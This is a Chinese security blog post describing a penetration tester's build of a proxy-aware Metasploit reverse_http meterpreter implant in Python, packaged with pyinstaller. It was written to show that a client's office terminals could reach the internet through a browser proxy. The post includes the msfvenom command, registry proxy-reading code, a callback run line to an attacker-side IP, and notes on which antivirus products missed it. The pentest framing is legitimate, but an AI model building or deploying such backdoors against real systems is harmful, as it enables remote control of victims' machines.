频道栏目
首页 > 安全 > 工具软件 > 正文

基于Metasploit编写终端检测程序

2018-03-28 11:44:52           
收藏   我要投稿

基于Metasploit编写终端检测程序,2017年初的项目中,我发现某客户单位的员工办公终端未进行内/外网物理隔离,内网通过设置浏览器代理服务器访问公网,遂向客户提出风险。但口说无凭,需证明此风险,故编写此程序。此次风险说明与程序编写,是在“永恒之蓝/WannaCry”勒索软件爆发前一周,虽然提出风险,但无法整改,客户单位还是沦陷了。

其实当时想的蛮简单的,利用Metasploit中的meterpreter/reverse_tcp让终端反向连接客户端即可,事实证明,代理服务器不处理tcp连接,只转发HTTP请求,此路不通。那就使用meterpreter/reverse_http吧,但Metasploit又不支持自动设置代理,最后的思路是,找到meterpreter/reverse_http源码并更改,使其自动抓取浏览器代理地址并反向连接客户端。

思路有了,然后就是选择语言,理论上用汇编/C/C++会更好,但我不会。再加上我只是想证明此问题,并不是真要编写木马程序,所以选择了Python,Payload最终选择python/meterpreter/reverse_http。

获取源码

相对于常用的sfconsole,msfvenom显得陌生了许多,帮助信息如下:

\

支持的生成格式:

\

其中raw为原始格式,使用命令,结果如下:

msfvenom -p python/meterpreter/reverse_http -f raw

\

将结果使用base64解码后,可见服务器端地址:

\

到此可以了解Metasploit总这块大致的原理:远程加载python代码并执行,这样一是可以减少客户端的体积,二是可以更改攻击行为。

获取并使用浏览器代理

Windows中的配置一般存储在注册表中,浏览器代理地址也不例外,注册表键值为HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings:

\

其中ProxyEnable代表是否使用代理,ProxyServer为代理地址,抓取并使用代理的代码如下:

import _winreg

key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,r"Software\Microsoft\Windows\CurrentVersion\Internet Settings")

enable = _winreg.QueryValueEx(key,"ProxyEnable")

if enable[0]:

print 'Use Proxy'

name = _winreg.QueryValueEx(key, "ProxyServer")

pip = name[0].split(':')[0]

pport = name[0].split(':')[1]

server = pip + ':' + pport

print server

else:

print 'No Proxy'

使用urllib2的proxyhandler将所有http请求绑定到代理服务器:

proxy = urllib2.ProxyHandler({'http': server})

opener = urllib2.build_opener(proxy)

urllib2.install_opener(opener)

这样,检测程序的基本框架就完成了。

参数

为了复用,添加两个参数-i为服务端地址,-p为服务端端口:

import optparse

parser = optparse.OptionParser('Program usage: httpControl.exe -i IP -p Port')

parser.add_option('-i', dest='IP', type='string', help='IP address')

parser.add_option('-p', dest='Port', type='string', help='Port Number')

options, args = parser.parse_args()

编译

由于客户端要运行服务端源码,需要将所有包全部引入:

#coding=utf8

import binascii

import code

import os

import platform

import random

import re

import select

import socket

import struct

import subprocess

import sys

import threading

import time

import traceback

import shutil

import _winreg

import urllib2

import optparse

使用pyinstaller打包py文件为exe文件:

pyinstaller -F E:\Python\TEMP\httpControl\httpControl.py

验证

配置服务端,当时我使用了日本的VPS,这里使用了虚拟机

\

客户端执行验证程序:

httpControl.exe -i 192.168.111.111 -p 8888

客户端结果如下

\

至此,验证程序编写完毕。

后记

这个程序我第一次尝试编写,未增加任何免杀策略,但是,查杀结果如下:

\

这次还有11个,去年的时候我记得是只有3个杀软可以检测出来。客户公司员工办公终端装有某付费S开头杀毒软件,部分员工自主装有360。

1.程序上传时均未检测为恶意软件;

2.执行ls,cat,download命令时,均未进行拦截;

3.尝试使用敏感命令net user /add,只有360进行拦截。

结论:对于原创的恶意程序,杀毒软件还是要延后许多,360的“主动防御”进程可以起到一定作用。还是不要使用来历不明的程序了。

上一篇:Branca Token:一款经过认证加密的安全API令牌
下一篇:KLara project:分布式YARA恶意软件扫描系统
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站